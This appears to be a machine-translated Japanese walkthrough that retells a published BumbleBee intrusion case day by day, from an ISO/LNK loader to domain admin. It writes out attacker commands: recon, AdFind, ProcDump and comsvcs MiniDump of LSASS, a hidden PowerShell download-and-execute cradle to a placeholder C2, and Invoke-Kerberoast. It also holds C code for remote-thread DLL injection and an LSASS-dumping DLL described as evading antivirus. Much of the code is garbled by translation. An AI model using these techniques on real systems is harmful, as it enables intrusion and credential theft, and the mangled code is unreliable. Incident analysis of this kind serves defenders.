0はじめに
実践的なケースの修復3《BumbleBee Roasts Its Way To Domain Admin》記事では、浸透ケースについて詳しく説明していますが、記事の組織構造は、タイムラインロジックに従って編成されるのではなく、ATTCKフレームワークに基づいています。したがって、浸透担当者が以前のプロセスとその後のプロセスを理解し、学習することは困難です。ここでは、タイムラインに従って実際の戦闘を整理して復元します。
《BumbleBee Roasts Its Way To Domain Admin》元のリンク
1日1(1日)
1.1サンプル配信
メールのダウンロードリンクを介して配信されるターゲット環境のマシンのようです。このサンプルはパスワードフリーパッケージです。減圧後、ファイルbc_invoice_report_corp_46.isoをリリースします。このISOファイルをマウントすると、LNKファイルドキュメントがリリースされ、このショートカットをダブルクリックするときに隠された悪意のあるローダーが実行されます。ショートカットの目標は次のとおりです。
c: \ windows \ system32 \ cmd.exe /c start rundll32 namr.dll、italjob
1.1.1 rundll32分析
rundll32を使用してロードおよび実行することは、一般的な侵入ルーチンです。 DLLでプログラムを実行することもできます。また、通常、シェルを取得するために使用することもできます。
Exploit/Windows/SMB/SMB_Deliveryを使用します
SRVHOST 10.X.X.Xを設定します
エクスプロイト
1.2悪意のあるプログラムのロードバンブルビー
ローダーバンブルビーはコバルトストライクセッションを返します。攻撃者は、このコバルトストライクシェルを使用してWab.exeを放出します。実行可能ファイルにはWMI実行があります。
c: \ windows \ system32 \ webm \ wmiprvse.exe -secured -embedding
wab.exeは、他の2つのプロセスExplorer.exeおよびrundll32.exeに悪意のあるコードを注入します。元のテキストによると、OpenProcess、VirtualAlloc、WriteProcessMemory、CreatereMotEthreadなどの古典的なWindowsシステムコールAPIを使用して、リモートスレッドインジェクションとプロセスインジェクションを使用します。これらの説明によると、攻撃者には少なくとも管理者の権限があります。一般に、彼が管理者の権限を持っている場合、彼はシステムの権限を持っています。記事の説明から判断すると、攻撃者はGetSystemを使用して権限を高めます。リモートスレッドインジェクションの例のコードは次のとおりです。
bool createremotethreadinjectdll(dword dwprocessid、char* pszdllfilename){
hprocess=nullを処理します。
dword dwsize=0;
lpvoid pdlladdr=null;
farproc pfuncprocaddr=null;
hprocess=:openprocess(process_all_access、false、dwprocessid); //プロセスを開いてプロセスハンドルを取得します
dwsize=1+ :3360lstrlen(pszdllfilename); //DLLサイズを取得します
PDLLADDR=:VIRTUALALLOCEX(HPROCESS、NULL、DWSIZE、MEM_COMMIT、PAGE_READWRITE); //アプリケーションの//
:WRITEPROCESSMEMORY(HPROCESS、PDLLADDR、PSZDLLFILENAME、DWSIZE、NULL); //メモリにDLLを書き込みます
pfuncproaddr=:3360GetProCADDRESS(:GETMODULEHANDLE( 'Kernel32.dll')、 'loadLibiary'); //関数loadlibraryaaaの関数アドレスを取得します
ハンドルhremotethread=:3360createremotethread(hprocess、null、0、(lpthread_start_routine)pfuncprocaddr、pdlladdr、0、null); //リモートスレッドを作成する
:CloseHandle(hprocess);
trueを返します。
}
1.3ホスト情報を収集した
攻撃者は、さまざまなコマンドを使用して、オペレーティングシステム、ネットワーク、ユーザー、ソフトウェア、プロセス、ドメインなどに関する情報を収集します。
IPCONFIG /ドメインを含むすべての#Getネットワーク情報
ping -n 1 [domain] #testドメイン接続
ネットグループ「ドメイン管理者」 /ドメイン#ゲットドメイン管理グループメンバー
nslookup x.x.x.x#get x.x.x IPアドレス
タスクリスト#getプロセス情報
SystemInfo #getシステム情報
WMIC製品は、名前、バージョン#ソフトウェア情報を取得します
wmic /node'ledactedプロセスリストブリーフ#getプロセス情報
ネットビュー\\ redacted \ files $ /すべて#columnリモートサーバーファイル共有ディレクトリ
dir \\ redacted \ c $ \ #column cディスクディレクトリ
TaskList /v /s x.x.x.x #remotely x.x.x.xプロセスの詳細を取得します
正味使用
ネットグループ「ドメインコンピューター」 /ドメイン
ネットグループ「エンタープライズ管理者」 /ドメイン
ネットグループ「ドメインコンピューター」 /ドメイン
ネットローカルグループ管理者
nltest /dclist
nltest /domain_trusts
ping -n 1 remote_ip
上記で実行されたコマンドによると、攻撃者はリモートサーバーX.X.X.Xの権限またはユーザー名とパスワードを取得しました。
1.4サーバーに水平に移動し、情報を収集し続ける
元の説明では、ローカル管理アカウントを使用してRDPプロトコルを介してサーバーに水平に移動し、Anydesk.exeをバックドアとしてリリースし、Adfind.exeを使用して情報を収集し始めます(説明により、サーバーはドメイン内にあるようです):
cmd.exe /c af.exe -f '(objectcategory=person)' ad_users.txt
cmd.exe /c af.exe -f 'objectcategory=computer' ad_computers.txt
cmd.exe /c af.exe -sc trustdump trustdump.txt
cmd.exe /c af.exe -gcb -sc trustdump trustdump.txt
2日目(2日目)
2.1サーバーに関する情報を収集し続けます
攻撃者は、RDPとアップロードされたVulnReconを使用してサーバーにログインし続けました。これは、Windowsマシンの上昇する許可へのパスを識別するために特別に設計されたツールです。
3日目(4日目)
3.1充電されたホストに関する情報を収集し続けます
攻撃者は、充電されたホストおよび環境上の複数のマシンにVulnReConツールとSysInternalsツールツールキットをアップロードし、VulnReCon、Adfind、Procdump、およびその他のツールを使用して情報を収集し続けました。その中で、彼らはリモートサービスを使用してProcDumpを実行してLSASS.exeのメモリを抽出して資格情報を取得し、説明に従って、少なくとも複数のホストと少なくとも1つのサーバーへの権限を取得しました。現在のところ、経営陣やより高い許可にアクセスできないようです。 Adfindを使用するプロセスは、元の制御ホストで発生しますが、もちろん、新しい水平に移動したホストでは除外されていません。
cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt
cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt
cmd.exe /c adfind.exe -f '(objectcategory=guristanimationalunit)' ad_ous.txt
cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt
3.1.1 VulnReCon分析
Vulnreconには、実行可能ファイルとDLL、つまりVulnrecon.exeおよびvulnrecon.dllがあります。これは、特権エスカレーションと情報収集の方法を列挙するために使用されます。元の制御ホストにアップロードするカスタムツールのようです。もちろん、水平に移動する新しいホストでは除外されていません。
#
#VulnRecon.dll PDB: D: \ a \ _Work \ 1 \ s \ artifacts \ obj \ win-x64.Release \ corehost \ cli \ apphost \ standalone \ reliey \ apphost.pdb
#vulnrecon.exe PDB: d: \ work \ rt \ vulnrecon \ vulnrecon \ obj \ release \ net5.0 \ vulnrecon.pdb
# 指示
Vulnrecon.exe -V
vulnrecon.exe -o
vulnrecon.exe -findvulnerability
Vulnrecon.exe -i
Vulnrecon.exe -M
cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt
cmd.exe /c vulnrecon.exe -i c: \ programdata \ 1.txt
cmd.exe /c vulnrecon.exe -o C: \ programdata \ out.txt
電力のエスカレーションは、元の充電されたホストで発生するLSASSメモリを取得するためにprocdumpを実行することであるようです。
### 3.2 LSAの資格情報を取得します。説明に従ってダンプされたファイルは、プログラムダタに保存されます。ネット使用およびその他の方法を使用して取得でき、亀裂にMimikatzまたはPypykatzを使用します。これらのプロセスは、元の充電されたホストから発見され、横方向に移動した被害者ホストとサーバーで発生します。
c: \ programdata \ procdump64.exe -accepteula -ma lsass.exe c: \ programdata \ lsass.dmp
4日目(7日目)
4.1充電されたサーバーに関する情報を収集し続けます
攻撃者は、Vulnreconを使用してサーバー上の情報を収集し続け、シートベルトツール(一般的に使用される情報収集ツール)も使用しました。説明によると、サーバーのローカル管理者特権が使用されています。
seatbelt.exe -group=all -outputfile='c: \ programdata \ seatinfo.txt'
vulnrecon.exe -o
Vulnrecon.exe -V
Vulnrecon.exe -M
cmd.exe /c vulnrecon.exe -findvulnerability c: \ programdata \ log.txt
5日目(11日目)
5.1充電されたホストにシェルをバウンスします
攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしたと常に非難されています。
c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'
Aで見つかったコバルトストライクのデフォルト構成文字MZREによれば、これはC2アドレスに接続する命令であると結論付けることができます。攻撃者は、攻撃者が制御するC2の充電されたホストを取得します。
その後、他のプロセスへの投入を開始します。元の説明によると、svchost.exeなどのいくつかのプロセスを注入する必要があります。その後、攻撃者はPowerShellモジュールInvoke-Kerberoastを実行し、KerberoAsting攻撃を開始しました。この場所は、請求されたホストからまだ開始されています。
#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc
IEX(new-Object net.webclient).downloadString( 'http://127.0.0.1336036177/'); invoke -kerberoast -outputformat hashcat | fl | Out -File -Filepath C: \ ProgramData \ REDACTED \ PS.TXT -APPEND -FORCE -ENCODING UTF8
#出力はハッシュカットモードであり、攻撃はハッシュカットを使用してブルートフォースクラッキングである必要があります
5.1.1 Kerberosting攻撃分析
KerberoAsting Attack Analysisは、TGS-KerberoAstingとAs-KerberoAstingの2つのタイプに分けられます。 Rubeus.exe、MSF、PowerShellを使用して実行できます。 Net-ntlmhashを取得するものは、Hashcatおよびその他のツールを使用してNTLMHASHまたはパスワードを取得することができます。
5.2資格抽出にMinidumpを使用
攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。
#Parent Process svchost.exe -k Clipboardsvcgroup -s Cbdhsvc
cmd.exe /c rundll32.exe c: \ windows \ system32 \ comsvcs.dll、minidump 968 c: \ programdata \ redacted \ lsass.dmp full
5.2.1ミニダンプ分析
攻撃者は、Kasperskyを回避できる資格抽出方法であるMinidumpを使用し始めました。この場所は、請求されているホストからまだ開始されます。
#include stdio.h
#include windows.h
#include tlhelp32.h
typedef hresult(winapi* _minidumpw)(dword arg1、dword arg2、pwchar cmdline);
int getlsasspid(){
ProcessEntry32エントリ;
entry.dwsize=sizeof(processentry32);
hsnapshot=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS、NULL);
if(process32first(hsnapshot、entry)){
while(process32next(hsnapshot、entry)){
if(wcscmp(entry.szexefile、l'lsass.exe ')==0){
return entry.th32processid;
}
}
}
CloseHandle(hsnapshot);
0を返します。
}
void getdebugprivilege()
{
bool fok=false;
htokenを処理します。
if(openProcessToken(getCurrentProcess()、token_adjust_privileges、htoken)))
{
token_privileges tp;
tp.privilegecount=1;
lookupprivilegevalue(null、se_debug_name、tp.privileges [0] .luid);
tp.privileges [0] .attributes=true? se_privilege_enabled : 0;
調整tokenprivileges(htoken、false、tp、sizeof(tp)、null、null);
fok=(getLasterRor()==error_success);
CloseHandle(htoken);
}
}
void dumplsass()
{
wchar_t ws [100];
_minidumpw minidumpw;
minidumpw=(_minidumpw)getProcAddress(loadLibrary(l'Comsvcs.dll ')、' minidumpw ');
swprintf(ws、100、l '%u%hs'、getlsasspid()、 'c: \\ windows \\ temp \\ temp.bin full');
getDebugprivilege();
Minidumpw(0、0、WS);
}
bool apientry dllmain(hmodule hmodule、
dword ul_reason_for_call、
lpvoid lpresived
))
{
switch(ul_reason_for_call)
{
ケースdll_process_attach:
dumplsass();
壊す;
ケースdll_thread_attach:
ケースdll_thread_detach:
ケースdll_process_detach:
壊す;
}
trueを返します。
}
私はこのファイルを自分で編集しました。私はここにいます。元Aチームのボスに、浸透技術のビジョンと、喜んで共有してくれる外国のXPN巨人の精神に感謝します。
コンパイルと使用の参照
5.3充電されたホストの情報収集を続けます
Adfindを使用して、最初に充電されたホストに関する情報を収集し続けています。
cmd.exe /c adfind.exe -f '(objectcategory=person)' ad_users.txt
cmd.exe /c adfind.exe -f 'objectcategory=computer' ad_computers.txt
cmd.exe /c adfind.exe -sc Trustdump Trustdump.txt
5.4最初の充電されたマシンでPowerShellを再度実行します。
攻撃者は、ホストでPowerShellコマンドを実行し、ファイルを実行するコンテンツをダウンロードしていると常に非難されています。
c: \ windows \ system32 \ cmd.exe /c powershell.exe -nop -w hidden -c 'iex((new -Object net.webclient).downloadString(' http://a.b.c.d:80 /a '))'
上記のプロセスは5.1で詳細に説明されており、繰り返されません。
5.5その他のマシンに関する情報収集
その他のマシンで次のコマンドを実行します。
c: \ windows \ system32 \ cmd.exe /cネットアカウント /ドメイン
c: \ windows \ system32 \ cmd.exe /cネットビュー /すべて
c: \ windows \ system32 \ cmd.exe /c hoami
c: \ windows \ system32 \ cmd.exe /cネットビュー\\ x.x.x.x \ /all
c: \ windows \ system32 \ cmd.exe /c wmic /node:x.x.x.xプロセスリストブリーフ
c: \ windows \ system32 \ cmd.exe /c net ''ドメインコントローラー ' /ドメイン
c: \ windows \ system32 \ cmd.exe /c net nltest /dclist: [domain]
5.6 2つのバッチスクリプト
攻撃者は、環境内の他のターゲットを分析および発見できる2つのスクリプトS.BATとW.BATをアップロードおよび実行します。
#s.bat
エコーオフ
for /f %% i in(servers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j serv.log
#W.BAT
@ECHOオフ
for /f %% i in(workers.txt)for /f 'tokens=2 delims=[]' %% j in( 'ping -n 1 -4' %% i '')do @echo %% j work.log.log
5.7 last
2つのスクリプトが実行された後、最初に充電されたマシンで新しいコバルトストライクセッションが再び実行されます。その後、攻撃者はサービスアカウントを使用して水平方向に移動し、ドメインコントロールでコバルトストライクセッションを実行します。元の説明によると、これは弱いパスワードであり、TGS-KerberoAstingを割るためにHashCATによって得られたNet-NTLMハッシュ値をクラックする操作によって非難されます。攻撃者は、ドメインコントロールにLSASSを投棄します。 exeのプロセスメモリは、ドメイン管理権を取得し、ドメインコントロールを突破できます
元の出典:https://www.cnblogs.com/kevingeorge/p/16595912.html